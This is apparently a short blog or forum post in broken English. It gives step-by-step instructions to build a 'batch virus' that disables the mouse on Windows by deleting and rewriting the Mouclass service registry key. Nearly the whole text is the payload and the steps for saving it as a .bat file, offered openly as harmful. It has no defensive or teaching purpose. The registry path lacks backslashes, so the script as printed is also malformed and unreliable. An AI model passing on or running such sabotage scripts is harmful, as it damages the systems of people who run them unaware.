I posted in this site different batch files as matrix effect and others, which were interesting and completely harmless , but today we will make a batch virus harmful deactivates the mouse to think before testing themselves. 1. Open Notepad and copy below codes rem --------------------------------- rem Disable Mouse set key="HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass" reg delete %key% reg add %key% /v Start /t REG_DWORD /d 4 rem --------------------------------- 2. Save this file as mousevirus.bat 3. Done you just created your virus.